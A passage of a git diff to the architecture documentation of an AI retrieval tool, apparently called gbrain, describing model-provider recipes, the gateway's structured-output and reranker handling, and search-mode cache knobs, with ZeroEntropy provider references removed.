`ChatOpts.responseSchema` (`{ name, description?, schema }`) is honored ONLY when the resolved recipe is openai-compatible AND declares `supports_structured_outputs`: `chat()` attaches a tolerant `Output` spec (`jsonSchemaOutput` — carries the `{ type: 'json', schema, name }` responseFormat the provider turns into `response_format: json_schema`, and `parseCompleteOutput` hands the raw text back instead of throwing `NoObjectGeneratedError` the way `Output.object` does on unparseable text) to the generateText call, so `result.text`, stopReason mapping, budget recording and the caller's own parse + retry lane run unchanged; native / claude-cli lanes and undeclared openai-compatible recipes never see the field. A declared recipe whose backend REJECTS the schema at call time (`isStructuredOutputRejection` in `errors.ts`: a request-shaped 4xx naming `response_format` / `json_schema` / structured output — never a 5xx or an unrelated 400) gets ONE schemaless retry plus one warn line, and lands in `_structuredOutputRejectedRecipes` so later `chat()` and `expand()` calls skip the schema for the process lifetime instead of re-paying the rejection on every retry lane. + `test/core/budget/expand-records-budget.test.ts` + `test/ai/gateway-ocr-budget.test.ts` + `test/facts-extract-structured-output.test.ts`
- `src/core/ai/model-resolver.ts` — Recipe-touchpoint validator. `assertTouchpoint(recipe, touchpoint, modelId)` checks the PROVIDER's capability only (anthropic has no embedding touchpoint; voyage/ollama have no chat) and never gates on the model id. Recipe `models:` arrays are informational — default-model selection (`models[0]` for `--model <provider>` shorthand and env-ready pickers), guard-test fixtures for the repo's own hardcoded defaults, and `gbrain providers list` display — NOT a runtime allowlist, so frontier models newer than a recipe work without a recipe PR. A nonexistent id surfaces as the provider's own `model_not_found` at call time; `gbrain models doctor` live-probes the configured models for a pre-flight check. Exception: `gateway.rerank()` keeps its own model-list check because each listed reranker id maps to a known request/response wire shape. `embeddingDimsForModel` matches recipe `model_dims` keys exactly first, then case-insensitively with BOTH sides folded (configured ids arrive cased, and user-editable recipe tables can carry cased keys; without the fold a cased id would fall through to `default_dims` and `gbrain init` would build a wrong-width column), before falling back to `default_dims`.
@@ -19,7 +19,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/ai/openrouter-families.ts` — single source of truth for which OpenRouter model families may drive the subagent (tool) loop: `OPENROUTER_SUBAGENT_FAMILIES` (currently `anthropic/` + `deepseek/`, each backed by a live abort/retry replay pin under `test/e2e/`) + `openrouterModelSupportsSubagentLoop(modelId)` (takes the bare OpenRouter id, no `openrouter:` prefix). Shared by the openrouter recipe's predicate and the subagent handler's auto-route so the two can never disagree; a new family gets its own live pin before joining the list.
-- `src/core/ai/provider-env.ts` — `mergedProviderEnv(cfg, env)`: THE canonical provider-key/env fold. Maps file-plane config keys (openai/anthropic/zeroentropy/openrouter/voyage/dashscope/deepseek/litellm/together/google/azure_openai + azure endpoint/deployment/entra) to the env names recipes read, merges env on top (env wins ONLY for keys carrying a real value — '' and undefined dropped), then applies the `GEMINI_API_KEY → GOOGLE_GENERATIVE_AI_API_KEY` alias (canonical env name > alias > config fallback). Three consumers: `buildGatewayConfig` (gateway env), `detectCapabilities` (capability probe), `resolveTierDefault`/`resolveEffectiveChatModel` (key-aware model resolution) — so gateway env and the capability probe cannot drift.
+- `src/core/ai/provider-env.ts` — `mergedProviderEnv(cfg, env)`: THE canonical provider-key/env fold. Maps file-plane config keys (openai/anthropic/openrouter/voyage/dashscope/deepseek/litellm/together/google/azure_openai + azure endpoint/deployment/entra) to the env names recipes read, merges env on top (env wins ONLY for keys carrying a real value — '' and undefined dropped), then applies the `GEMINI_API_KEY → GOOGLE_GENERATIVE_AI_API_KEY` alias (canonical env name > alias > config fallback). Three consumers: `buildGatewayConfig` (gateway env), `detectCapabilities` (capability probe), `resolveTierDefault`/`resolveEffectiveChatModel` (key-aware model resolution) — so gateway env and the capability probe cannot drift.
- `src/core/ai/providers/claude-cli-language-model.ts` (+ recipe `src/core/ai/recipes/claude-cli.ts`) — ai-sdk LanguageModel adapter that shells out to the locally-installed `claude` CLI in print mode (OAuth-subscription lane, no API key; `claude-cli:<model>` is config-portable with `anthropic:<model>`). Tool use is system-prompt-instructed JSON emission: the recipe teaches the model the `<use_tools>[{name,input}]</use_tools>` format and the adapter parses those blocks back into ai-sdk `tool-call` parts. An entry that carries its arguments flat beside `name` (no `input` wrapper, the Anthropic tool_use shape with the wrapper dropped) is accepted: every key other than `name`/`input` and the Anthropic tool_use leftovers (`type: "tool_use"`, a `toolu_*` `id`) becomes the input — any other `type`/`id` value is a real argument (e.g. `list_pages`' `type` filter) and stays — and a present `input` wins verbatim over stray sibling keys. Tool-call ids are ALWAYS gbrain-minted (`toolu_claude_cli_<uuidv7>`) — never model-authored: each doGenerate is a fresh subprocess replayed from an id-stripped transcript, so the model structurally cannot keep ids unique across turns (a model-authored id echoes the prompt's example entropy-free and collides); the prompt does not ask for an id, and a stray `id` field is deliberately ignored (nothing round-trips it — the loop pairs results in-memory within one turn). doStream not implemented; callers (gateway.toolLoop) use doGenerate. The recipe declares `chat` + `expansion` touchpoints (no embedding; the expansion list leads with the cheap haiku id and carries the same 30s `default_timeout_ms` as chat for the subprocess cold start); `gateway.expand()` routes `claude-cli` through the schemaless `viaText` path because the adapter ignores `responseFormat` (generateObject would throw NoObjectGeneratedError on the fenced-JSON text). Pinned by `test/claude-cli-recipe.test.ts` + `test/ai/claude-cli-expansion.test.ts`.
@@ -27,7 +27,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/ai/recipes/anthropic.ts` — Anthropic recipe (chat + expansion touchpoints). Canonical id is `claude-sonnet-4-6` (no date suffix); a reverse alias `claude-sonnet-4-6-20250929 → claude-sonnet-4-6` keeps stale user configs working (rescues `facts.extraction_model` and `models.dream.synthesize`). Recipe shape pinned by `test/anthropic-model-ids.test.ts`.
-- `src/core/ai/recipes/llama-server-reranker.ts` — sibling of `llama-server` (the embedding recipe) for llama.cpp in `--reranking` mode. Distinct recipe rather than dual-touchpoint extension because `--reranking` and `--embeddings` are mutually exclusive at server-launch time, so the two backends need independent base URLs (default 8081 here vs 8080 there). Declares `reranker` touchpoint with `models: []` (user-provided id matching the `--alias` the user launched with), `path: '/rerank'` (leaf-only; consumes `RerankerTouchpoint.path` override; gateway concatenates with `base_url_default` which ends in `/v1`, producing `…/v1/rerank`), `default_timeout_ms: 30_000` (consumed by `src/core/search/mode.ts`'s reranker timeout chain — CPU-only first-call warmup headroom; the 5s mode-bundle default would fail-open as `timeout`), `cost_per_1m_tokens_usd: 0` (recognized by `FREE_LOCAL_RERANK_PROVIDERS` in `src/core/budget/budget-tracker.ts` so `--max-cost` callers don't hard-fail on local rerank). Setup hint emphasizes `--alias` because llama-server's `/v1/models` defaults model id to the gguf file path without it. Covers Qwen3-Reranker via llama.cpp AND self-hosted ZE weights via llama.cpp — same recipe, different `--model` at launch. Pinned by `test/ai/recipe-llama-server-reranker.test.ts`. Voyage / Cohere / vLLM rerankers stay out of scope (different wire shapes). Companion surfaces: `path?: string` + `default_timeout_ms?: number` on `RerankerTouchpoint` in `src/core/ai/types.ts`; consumed by the URL build at `src/core/ai/gateway.ts:rerank()` and by mode-resolution at `src/core/search/mode.ts:resolveSearchMode` (precedence: per-call > config-key > recipe touchpoint default > mode bundle); `LLAMA_SERVER_RERANKER_BASE_URL` env passthrough in `src/cli.ts:buildGatewayConfig`; `FREE_LOCAL_RERANK_PROVIDERS` set in `src/core/budget/budget-tracker.ts:lookupPricing` (rerank-kind-only zero-pricing for the local provider prefix); doctor-fix at `src/commands/models.ts:probeRerankerConfig` reads `search.reranker.model` via `loadSearchModeConfig` + `resolveSearchMode` (so doctor and live search read the same resolution and the file plane / DB plane cannot diverge — the field-plane `getRerankerModel()` reads nothing writes); `probeRerankerReachability` reads the recipe's `default_timeout_ms` so CPU-only cold-start doesn't false-fail.
+- `src/core/ai/recipes/llama-server-reranker.ts` — sibling of `llama-server` (the embedding recipe) for llama.cpp in `--reranking` mode. Distinct recipe rather than dual-touchpoint extension because `--reranking` and `--embeddings` are mutually exclusive at server-launch time, so the two backends need independent base URLs (default 8081 here vs 8080 there). Declares `reranker` touchpoint with `models: []` (user-provided id matching the `--alias` the user launched with), `path: '/rerank'` (leaf-only; consumes `RerankerTouchpoint.path` override; gateway concatenates with `base_url_default` which ends in `/v1`, producing `…/v1/rerank`), `default_timeout_ms: 30_000` (consumed by `src/core/search/mode.ts`'s reranker timeout chain — CPU-only first-call warmup headroom; the 5s mode-bundle default would fail-open as `timeout`), `cost_per_1m_tokens_usd: 0` (recognized by `FREE_LOCAL_RERANK_PROVIDERS` in `src/core/budget/budget-tracker.ts` so `--max-cost` callers don't hard-fail on local rerank). Setup hint emphasizes `--alias` because llama-server's `/v1/models` defaults model id to the gguf file path without it. Covers Qwen3-Reranker via llama.cpp; the user supplies the matching `--model` and `--alias` at launch. Pinned by `test/ai/recipe-llama-server-reranker.test.ts`. Voyage / Cohere / vLLM rerankers stay out of scope (different wire shapes). Companion surfaces: `path?: string` + `default_timeout_ms?: number` on `RerankerTouchpoint` in `src/core/ai/types.ts`; consumed by the URL build at `src/core/ai/gateway.ts:rerank()` and by mode-resolution at `src/core/search/mode.ts:resolveSearchMode` (precedence: per-call > config-key > recipe touchpoint default > mode bundle); `LLAMA_SERVER_RERANKER_BASE_URL` env passthrough in `src/cli.ts:buildGatewayConfig`; `FREE_LOCAL_RERANK_PROVIDERS` set in `src/core/budget/budget-tracker.ts:lookupPricing` (rerank-kind-only zero-pricing for the local provider prefix); doctor-fix at `src/commands/models.ts:probeRerankerConfig` reads `search.reranker.model` via `loadSearchModeConfig` + `resolveSearchMode` (so doctor and live search read the same resolution and the file plane / DB plane cannot diverge — the field-plane `getRerankerModel()` reads nothing writes); `probeRerankerReachability` reads the recipe's `default_timeout_ms` so CPU-only cold-start doesn't false-fail.
- `src/core/ai/recipes/lmstudio.ts` — LM Studio local OpenAI-compatible recipe (embedding touchpoint only; default base URL `http://localhost:1234/v1`, env `LMSTUDIO_BASE_URL`). Ships `models: []` like llama-server — the model identity is whatever the user loaded in the app, so `--embedding-model lmstudio:<id>` + `--embedding-dimensions <N>` are required (the wizard refuses implicit defaults). Its own provider id keeps `openai:` pointed at OpenAI (complement of the keyless `OPENAI_BASE_URL` route). Documented operational failure mode: a degraded loaded instance passes the reachability probe but misses the query-embed deadline — queries degrade to keyword-only with the `embed_timeout` stamp, reload the model to recover.
@@ -37,10 +37,9 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/ai/recipes/openrouter.ts` — OpenRouter openai-compatible recipe: single key, many providers via `openrouter:<provider>/<model>` strings. `base_url_default: 'https://openrouter.ai/api/v1'`. Embedding touchpoint: default model `openai/text-embedding-3-small`; per-model `model_dims` carries verified native widths (text-embedding-3-small 1536, text-embedding-3-large 3072, qwen/qwen3-embedding-8b 4096, bge-m3 + baai/bge-m3 1024) with `default_dims: 0` so an UNLISTED proxied id has NO silent default — it errors until the user supplies explicit dims (`--embedding-dimensions` / `embedding_dimensions`), which `trust_custom_dims: true` accepts (gemini-embedding-2-preview is deliberately unlisted — width unverified). Matryoshka `dims_options: [512, 768, 1024, 1536]` still governs the default model's shrink steps; `max_batch_tokens: 300_000` = OpenAI's aggregate-per-request token cap (NOT per-input). Chat touchpoint declares 8 curated entry points (gpt-5.2, gpt-5.2-chat, gpt-5.5, claude-haiku-4.5, claude-sonnet-4.6, claude-opus-4.7, gemini-3-flash-preview, deepseek-chat) but openai-compat tier accepts any model ID; deliberately no `max_context_tokens` because OR's catalog spans 128K to 1M+. `supports_subagent_loop: false` is enforced by `classifyCapabilities()` in `src/core/ai/capabilities.ts` (verdict `unusable:no_subagent_loop` — `enforceSubagentCapable()` in `src/core/model-config.ts` consumes the verdict: tool-less/unknown models fall back to `TIER_DEFAULTS.subagent` with a warn; tool-capable providers without prompt caching run with a once-per-model cost warn); the legacy Anthropic-direct path additionally gates on `isAnthropicProvider()` in `src/core/model-config.ts` when `agent.use_gateway_loop` is off. Declares `resolveDefaultHeaders(env)` returning OR's three attribution headers: `HTTP-Referer` (required for OR app-attribution), `X-OpenRouter-Title` (preferred), `X-Title` (back-compat alias); defaults to `https://gbrain.ai` / `gbrain`; forks override via `OPENROUTER_REFERER` / `OPENROUTER_TITLE` env vars. Smoke-tested by `test/ai/recipe-openrouter.test.ts` (incl. the shape guard: every model in the chat list matches `^[a-z0-9-]+\/[a-z0-9._-]+$`).
-- `src/core/ai/recipes/voyage.ts` — Voyage AI openai-compatible recipe, home of the new-install default stack. Embedding touchpoint declares `default_model: 'voyage-4'` + `default_dims: 1024` — the canonical pick for every "choose a model for the user" surface (`models[0]` stays `voyage-4-large` in quality order; the new-install default is `voyage-4` for price/quality balance and the shared v4 embedding space — see `NEW_INSTALL_DEFAULT_EMBEDDING_MODEL` in `ai/defaults.ts`). Reranker touchpoint (the mode-bundle default via `DEFAULT_RERANKER_MODEL`, same `VOYAGE_API_KEY` as embeddings) allowlists `rerank-2.5` ($0.05/M) + `rerank-2.5-lite` ($0.02/M) and Voyage's preview `rerank-3` ($0.05/M) + `rerank-3-lite` ($0.02/M) (2.5 pair verified 2026-08-15, rerank-3 pair 2026-09-06); `default_model` stays `rerank-2.5` deliberately — the array is the opt-in surface for every enforcement point (`gateway.rerank()`'s `tp.models.includes` guard, `gbrain models doctor`'s `reranker_config` probe, `rerankerReadiness`), and flipping the default would migrate every install that resolves it instead of an explicit config row. All four share one wire: `path: '/rerank'`, `top_param: 'top_k'` (Voyage's response wire matches ZE's `{results: [{index, relevance_score}]}`; only the request's top-N key differs), 5MB byte-proxy payload cap. Declares `chars_per_token=1` + `safety_factor=0.5` so the gateway pre-splits Voyage batches at a 60K-character budget (50% of 120K-token cap with the dense-tokenizer ratio), since tiktoken-grounded budgeting undercounts Voyage's actual token usage. Declares `multimodal_models: ['voyage-multimodal-3']` so the gateway rejects text-only Voyage models pointed at the multimodal endpoint with a clear `AIConfigError` instead of waiting for Voyage's HTTP 400. The hosted flexible-dim models that accept `output_dimension` live in `VOYAGE_OUTPUT_DIMENSION_MODELS` in `src/core/ai/dims.ts` (v4 trio, `voyage-code-4`, `voyage-3-large`, `voyage-3.5`, `voyage-3.5-lite`, `voyage-code-3`; valid widths 256/512/1024/2048); `voyage-4-nano` is the open-weight variant fixed at 1024-dim that does NOT accept the parameter (negative assertion in `test/ai/gateway.test.ts`: `dimsProviderOptions` returns `undefined` for `voyage-4-nano`). `voyage-code-3` is the recommended embedding model for gstack per-worktree code brains (Topology 3 in `docs/architecture/topologies.md`; `voyage-code-4` is the flexible-dim hosted code model, $0.12/M); discoverability surfaces: decision-tree branch in `docs/integrations/embedding-providers.md`, Topology 3 "Recommended embedding model" subsection, runtime nudge from `gbrain reindex-code` against non-code-tuned models. Recipe shape pinned by `test/ai/voyage-code-3-recipe.test.ts`.
+- `src/core/ai/recipes/voyage.ts` — Voyage AI openai-compatible recipe, home of the new-install default stack. Embedding touchpoint declares `default_model: 'voyage-4'` + `default_dims: 1024` — the canonical pick for every "choose a model for the user" surface (`models[0]` stays `voyage-4-large` in quality order; the new-install default is `voyage-4` for price/quality balance and the shared v4 embedding space — see `NEW_INSTALL_DEFAULT_EMBEDDING_MODEL` in `ai/defaults.ts`). Reranker touchpoint (the mode-bundle default via `DEFAULT_RERANKER_MODEL`, same `VOYAGE_API_KEY` as embeddings) allowlists `rerank-2.5` ($0.05/M) + `rerank-2.5-lite` ($0.02/M) and Voyage's preview `rerank-3` ($0.05/M) + `rerank-3-lite` ($0.02/M) (2.5 pair verified 2026-08-15, rerank-3 pair 2026-09-06); `default_model` stays `rerank-2.5` deliberately — the array is the opt-in surface for every enforcement point (`gateway.rerank()`'s `tp.models.includes` guard, `gbrain models doctor`'s `reranker_config` probe, `rerankerReadiness`), and flipping the default would migrate every install that resolves it instead of an explicit config row. All four share one wire: `path: '/rerank'`, `top_param: 'top_k'` (responses accept `{data: [{index, relevance_score}]}` or the compatible `results` array), 5MB byte-proxy payload cap. Declares `chars_per_token=1` + `safety_factor=0.5` so the gateway pre-splits Voyage batches at a 60K-character budget (50% of 120K-token cap with the dense-tokenizer ratio), since tiktoken-grounded budgeting undercounts Voyage's actual token usage. Declares `multimodal_models: ['voyage-multimodal-3']` so the gateway rejects text-only Voyage models pointed at the multimodal endpoint with a clear `AIConfigError` instead of waiting for Voyage's HTTP 400. The hosted flexible-dim models that accept `output_dimension` live in `VOYAGE_OUTPUT_DIMENSION_MODELS` in `src/core/ai/dims.ts` (v4 trio, `voyage-code-4`, `voyage-3-large`, `voyage-3.5`, `voyage-3.5-lite`, `voyage-code-3`; valid widths 256/512/1024/2048); `voyage-4-nano` is the open-weight variant fixed at 1024-dim that does NOT accept the parameter (negative assertion in `test/ai/gateway.test.ts`: `dimsProviderOptions` returns `undefined` for `voyage-4-nano`). `voyage-code-3` is the recommended embedding model for gstack per-worktree code brains (Topology 3 in `docs/architecture/topologies.md`; `voyage-code-4` is the flexible-dim hosted code model, $0.12/M); discoverability surfaces: decision-tree branch in `docs/integrations/embedding-providers.md`, Topology 3 "Recommended embedding model" subsection, runtime nudge from `gbrain reindex-code` against non-code-tuned models. Recipe shape pinned by `test/ai/voyage-code-3-recipe.test.ts`.
-- `src/core/ai/recipes/zeroentropyai.ts` — ZeroEntropy openai-compatible recipe declaring BOTH `embedding` (`zembed-1`, 7 Matryoshka dims: 2560/1280/640/320/160/80/40) AND `reranker` (`zerank-2` flagship + `zerank-1` + `zerank-1-small`, 5MB payload cap) touchpoints. `implementation: 'openai-compatible'` (pinned by `test/ai/zeroentropy-recipe.test.ts`). `base_url_default: 'https://api.zeroentropy.dev/v1'` already ends with `/v1`, so the `zeroEntropyCompatFetch` URL rewrite `/embeddings → /models/embed` produces `…/v1/models/embed` (NOT `…/v1/v1/…` — pinned there too). `chars_per_token: 1` + `safety_factor: 0.5` match Voyage's dense-content hedge. Carries `sunset` metadata (`ZEROENTROPY_SUNSET_DATE` + replacement models from `ai/defaults.ts`) that drives init picker/auto-pick exclusion, the gateway's once-per-process warn-on-use, and every `gbrain providers` rendering via the shared `sunsetMarker` in `src/commands/providers.ts` (`list` status cell, ⚠ `explain` rows, and the `env` deprecation block that replaces the signup funnel); the recipe itself is slated for removal after the sunset date.
-- `src/core/ai/reranker-readiness.ts` — pure leaf answering "is the reranker actually going to run?" for `gbrain search modes` (`buildModesReport.reranker_readiness`), doctor's `reranker_health`, and init's reranker-default write. `rerankerReadiness(model, env, { now?, baseUrlOverrides? })` → `{model, provider, modelId (alias-canonical), recipeKnown, hasTouchpoint, modelListed, requiredKey (the first MISSING key, else the first required key — this is how `Reranker: … VOYAGE_API_KEY present` renders; null only for keyless recipes), keyPresent, sunset, sunsetPassed, selfHosted, sunsetBlocks, ready}`; the env snapshot comes from the CALLER — the leaf never reads `process.env` and never imports the gateway (init runs before `configureGateway` and passes `mergedProviderEnv(cfg, process.env)` where `cfg` is `loadConfigFileOnly()` merged with the brain's DB-plane provider keys via `loadConfigWithEngine` — file plane alone if that read fails — so a `--force` re-init sees a Voyage key that lives only in the config table). A recipe with a custom `resolveAuth` needs no env key (mirrors the gateway); a `provider_base_urls` override marks the provider self-hosted so a passed sunset does not block. `describeRerankerFix(r)` renders the paste-ready one-liner (sunset switch > unknown-model > missing key + disable command). `src/core/ai/reranker-readiness-engine.ts` is the engine-plane wrapper doctor and `gbrain search modes` share: `rerankerReadinessForEngine(engine, model, { now? })` reads the LIVE gateway snapshot (env + base_urls — exactly what `rerank()` consults, so the verdict cannot disagree with search and a mounted brain's DB plane cannot steer it) and falls back to env > file > DB-plane provider keys + `provider_base_urls` via `loadConfigWithEngine` only when no gateway is configured; `redactReadinessForRemote` (modes-report.ts) strips `required_key`/`key_present`/`fix` from the `search_modes` op for untrusted callers. `test/ai/reranker-readiness.test.ts` pins agreement with `isAvailable('reranker', m)` on an env × model matrix (`recipeKnown && hasTouchpoint && keyPresent`) so the two predicates cannot drift.
+- `src/core/ai/reranker-readiness.ts` — pure leaf answering "is the reranker actually going to run?" for `gbrain search modes` (`buildModesReport.reranker_readiness`), doctor's `reranker_health`, and init's reranker-default write. `rerankerReadiness(model, env, { baseUrlOverrides? })` → `{model, provider, modelId (alias-canonical), recipeKnown, hasTouchpoint, modelListed, requiredKey (the first MISSING key, else the first required key — this is how `Reranker: … VOYAGE_API_KEY present` renders; null only for keyless recipes), keyPresent, selfHosted, ready}`; the env snapshot comes from the CALLER — the leaf never reads `process.env` and never imports the gateway (init runs before `configureGateway` and passes `mergedProviderEnv(cfg, process.env)` where `cfg` is `loadConfigFileOnly()` merged with the brain's DB-plane provider keys via `loadConfigWithEngine` — file plane alone if that read fails — so a `--force` re-init sees a Voyage key that lives only in the config table). A recipe with a custom `resolveAuth` needs no env key (mirrors the gateway); a `provider_base_urls` override marks the provider self-hosted. `describeRerankerFix(r)` renders the paste-ready one-liner (unknown-model > missing key + disable command). `src/core/ai/reranker-readiness-engine.ts` is the engine-plane wrapper doctor and `gbrain search modes` share: `rerankerReadinessForEngine(engine, model)` reads the LIVE gateway snapshot (env + base_urls — exactly what `rerank()` consults, so the verdict cannot disagree with search and a mounted brain's DB plane cannot steer it) and falls back to env > file > DB-plane provider keys + `provider_base_urls` via `loadConfigWithEngine` only when no gateway is configured; `redactReadinessForRemote` (modes-report.ts) strips `required_key`/`key_present`/`fix` from the `search_modes` op for untrusted callers. `test/ai/reranker-readiness.test.ts` pins agreement with `isAvailable('reranker', m)` on an env × model matrix (`recipeKnown && hasTouchpoint && keyPresent`) so the two predicates cannot drift.
-- `src/core/ai/types.ts` — provider/recipe types. `EmbeddingTouchpoint` has optional `chars_per_token` (default 4, matching OpenAI tiktoken on English) and `safety_factor` (default 0.8, budget-utilization ceiling), both consulted only when `max_batch_tokens` is also set; Voyage declares `chars_per_token=1` + `safety_factor=0.5` to handle dense payloads (CJK/JSON/base64). Pre-split budget = `max_batch_tokens × safety_factor / chars_per_token`. `EmbeddingTouchpoint.multimodal_models?: string[]` model-level allow-list for recipes mixing text-only + multimodal models under one touchpoint (Voyage's 12 models share `supports_multimodal: true` but only `voyage-multimodal-3` accepts `/multimodalembeddings`); when omitted, recipe-level `supports_multimodal` is sufficient. `AIGatewayConfig.embedding_multimodal_model?: string` lets `embedMultimodal()` route to a different model than `embedding_model` (OpenAI text + Voyage images without flipping the primary pipeline). `AIGatewayConfig.embedding_image_ocr_model?: string` is its OCR sibling: `generateOcrText()` routes to it instead of the expansion model; a direct `provider:model` string, never `models.tier`-resolved. `EmbeddingTouchpoint.trust_custom_dims?: true` — passthrough tier for a user-declared `--embedding-dimensions` on local / bring-your-own-backend recipes (ollama, llama-server, litellm) where the model catalog can't be enumerated; consumed by `isCustomDimValidForProvider` in `src/core/embedding-dim-check.ts` AFTER Tier 1 (recipe `dims_options`) and Tier 2 (provider Matryoshka allowlists), so a recipe that declares fixed options (openrouter) is still governed by those and fixed-dim hosted providers (openai/voyage/zeroentropy) stay fail-closed; the provider's `/embeddings` response-dim validation catches a genuine mismatch pre-storage. `Recipe.default_headers?: Record<string, string>` (static) and `Recipe.resolveDefaultHeaders?(env)` (env-templated) seam for per-recipe headers riding alongside auth on every openai-compat touchpoint; mutually exclusive (declaring both throws `AIConfigError` at gateway-configure time); keys conflicting with the resolved auth header (`Authorization`, the resolver's custom header) rejected at `applyResolveAuth` call time so defaults can't shadow auth. Used by OpenRouter for the `HTTP-Referer` + `X-OpenRouter-Title` + `X-Title` attribution triple.
+- `src/core/ai/types.ts` — provider/recipe types. `EmbeddingTouchpoint` has optional `chars_per_token` (default 4, matching OpenAI tiktoken on English) and `safety_factor` (default 0.8, budget-utilization ceiling), both consulted only when `max_batch_tokens` is also set; Voyage declares `chars_per_token=1` + `safety_factor=0.5` to handle dense payloads (CJK/JSON/base64). Pre-split budget = `max_batch_tokens × safety_factor / chars_per_token`. `EmbeddingTouchpoint.multimodal_models?: string[]` model-level allow-list for recipes mixing text-only + multimodal models under one touchpoint (Voyage's 12 models share `supports_multimodal: true` but only `voyage-multimodal-3` accepts `/multimodalembeddings`); when omitted, recipe-level `supports_multimodal` is sufficient. `AIGatewayConfig.embedding_multimodal_model?: string` lets `embedMultimodal()` route to a different model than `embedding_model` (OpenAI text + Voyage images without flipping the primary pipeline). `AIGatewayConfig.embedding_image_ocr_model?: string` is its OCR sibling: `generateOcrText()` routes to it instead of the expansion model; a direct `provider:model` string, never `models.tier`-resolved. `EmbeddingTouchpoint.trust_custom_dims?: true` — passthrough tier for a user-declared `--embedding-dimensions` on local / bring-your-own-backend recipes (ollama, llama-server, litellm) where the model catalog can't be enumerated; consumed by `isCustomDimValidForProvider` in `src/core/embedding-dim-check.ts` AFTER Tier 1 (recipe `dims_options`) and Tier 2 (provider Matryoshka allowlists), so a recipe that declares fixed options (openrouter) is still governed by those and fixed-dim hosted providers (openai/voyage) stay fail-closed; the provider's `/embeddings` response-dim validation catches a genuine mismatch pre-storage. `Recipe.default_headers?: Record<string, string>` (static) and `Recipe.resolveDefaultHeaders?(env)` (env-templated) seam for per-recipe headers riding alongside auth on every openai-compat touchpoint; mutually exclusive (declaring both throws `AIConfigError` at gateway-configure time); keys conflicting with the resolved auth header (`Authorization`, the resolver's custom header) rejected at `applyResolveAuth` call time so defaults can't shadow auth. Used by OpenRouter for the `HTTP-Referer` + `X-OpenRouter-Title` + `X-Title` attribution triple.
diff --git a/docs/architecture/key-files/core-search-1.md b/docs/architecture/key-files/core-search-1.md
index e5643b0b68..27983676ba 100644
--- a/docs/architecture/key-files/core-search-1.md
+++ b/docs/architecture/key-files/core-search-1.md
@@ -41,7 +41,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/search/mode.ts` — Named search-mode bundles and retained semantic-cache key machinery; persisted result reuse remains disabled. `MODE_BUNDLES` (conservative/balanced/tokenmax) and the resolution chain (per-call `SearchOpts` → per-key `search.*` config → bundle → balanced fallback) resolve every search knob; `knobsHash` folds registered search knobs into the `query_cache` key, and `KNOBS_HASH_VERSION` (exported from this file — the single source of truth for the current cache-key version) is bumped whenever a new knob shapes results so stale cache rows become unreachable. `graph_signals: boolean` knob in `ModeBundle` (defaults: `conservative=false`, `balanced=true`, `tokenmax=true`). `KNOBS_HASH_VERSION` appends a `gs=` parts entry per the cache-key contamination convention so a graph-on cache write can't be served to a graph-off lookup. `SearchKeyOverrides` + `SearchPerCallOpts` + `loadOverridesFromConfig` + `SEARCH_MODE_CONFIG_KEYS` + `resolveSearchMode` + `attributeKnob` all carry the field. Opt-out: `gbrain config set search.graph_signals false`. `query_cache` rows written under an older hash version hash differently — natural row segregation, cleared within `cache.ttl_seconds` (3600s default). `title_boost: number | undefined` knob in `ModeBundle` (default `1.25` for all three modes; multiplier for the post-fusion title-phrase boost). Override chain: per-call `SearchOpts` → `search.title_boost` config (clamped `[1.0, 5.0]`) → bundle. `KNOBS_HASH_VERSION` appends a `tib=` parts entry so a title-boost-on cache write can't be served to a title-boost-off lookup. `SEARCH_MODE_CONFIG_KEYS` gains `search.title_boost`. Cross-modal knobs in `ModeBundle`: `cross_modal_both_text_weight`/`cross_modal_both_image_weight` (weighted RRF for 'both' modality, defaults 0.6/0.4), `image_query_text_refinement_weight`/`image_query_image_refinement_weight` (hybrid intersect for `searchByImage` query refinement, defaults 0.4/0.6), `unified_multimodal` + `unified_multimodal_only` (unified-column routing flags), `cross_modal_llm_intent` (opt-in LLM escalation). `KNOB_CONFIG_KEY` (a `Record<keyof ModeBundle, string>`, so every knob names the `search.*` key `loadOverridesFromConfig` reads it from) is the single knob→key map: `SEARCH_MODE_CONFIG_KEYS` derives from it, `attributeKnob` prints it as the override `source_detail`, and `KNOWN_CONFIG_KEYS` in `config.ts` hand-mirrors it (config.ts stays import-light; `test/config-search-registry.test.ts` pins the two equal), and the modality knobs participate in `knobsHash` so a cached text-mode result can't be served to an image-mode caller. Retrieval-quality knobs `autocut_min_top` (default 0.35 in all three bundles; config `search.autocut_min_top`; folds into `knobsHash` as an `acm=` part) and `evidence_cosine_floor` (default 0.8 in all three bundles; config `search.evidence_cosine_floor`; labels evidence — result-set-shape-neutral, so not hashed) ride the same bundle → config → per-call chain. `keywordOrFallback: boolean` knob in `ModeBundle` (default true in all three bundles; config `search.keywordOrFallback`): the keyword arm's AND→OR zero-recall retry — corpora the FTS config can't stem (CJK/agglutinative text under `'english'`) can turn it off because the OR retry has no IDF demotion and its common-token hits read as noise in the RRF blend; folds into `knobsHash` as a `kof=` part. `KnobsHashContext` additionally carries the EFFECTIVE per-call salience/recency boost modes (`sal=`/`rec=` — explicit `SearchOpts` ?? the classifier's auto-suggestion, resolved by the same chain bare `hybridSearch` uses) and the per-engine `search.intent_patterns` config fingerprint (`ipat=`, from `query-intent.ts`'s `intentPatternFingerprint`; threaded through ctx, never read process-globally, so a multi-engine process can't key one brain's rows under another brain's patterns) — a reordered or reclassified write can never serve a differently-configured lookup. Cache HITS slice the stored page to the same resolved result count as misses (per-call `limit` → the mode's `searchLimit`) in `hybridSearchCached`, so a mode's result-count knob holds on both paths; nonzero offsets (positive OR negative) skip the cache entirely. `expansion_variant_budget: number | null` knob in `ModeBundle` (`null` in all three bundles; config `search.expansion_variant_budget` accepts `legacy`/`null` or a number in (0, 4] through the ONE range contract `normalizeExpansionVariantBudget` in `fusion-lists.ts` — out-of-range falls through to the bundle; per-call `HybridSearchOpts.expansionVariantBudget`, normalized by the same function in both the inner search and the cache resolver): the total RRF weight the NON-EMPTY expansion variant/clause lists share at fusion (`weight_i = b / n_voting_arms`; the original list always keeps weight 1), `null` = legacy weight 1 on every list (byte-identical fusion), a no-op when `expansion` is off. It folds into `knobsHash` as the last, append-only `evb=` part (`legacy` or the budget to 3 decimals) — `KNOBS_HASH_VERSION` is 29 with that part in — so a budget-weighted write can never serve a legacy lookup. `KNOB_NULL_LABELS` + `formatKnobValue` in `modes-report.ts` render its legitimate null as 